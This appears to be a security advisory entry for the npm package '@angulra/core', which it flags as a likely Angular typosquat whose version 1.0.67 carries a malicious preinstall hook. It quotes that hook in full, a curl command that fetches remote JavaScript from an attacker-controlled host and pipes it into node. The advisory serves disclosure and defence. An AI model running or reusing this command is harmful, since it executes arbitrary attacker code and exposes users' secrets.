@angulra/core

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34)
The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from an unrelated third-party host (gitflic.ru, proxied via web.archive.org) and piping it directly into node at `npm install` time. The fetch is unpinned, has no integrity or signature check, and the source is attacker-controlled and mutable. The scoped name `@angulra/core` resembles Angular ecosystem names while the package description (`Core Libs`) and dependency set (mysql, pg, redis, knox, amqp) are inconsistent with any coherent library purpose, consistent with a typosquat lure. Any environment running `npm install` on this package executes arbitrary remote code with the installing user's privileges.

Compromised versions (1)

• 1.0.67

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.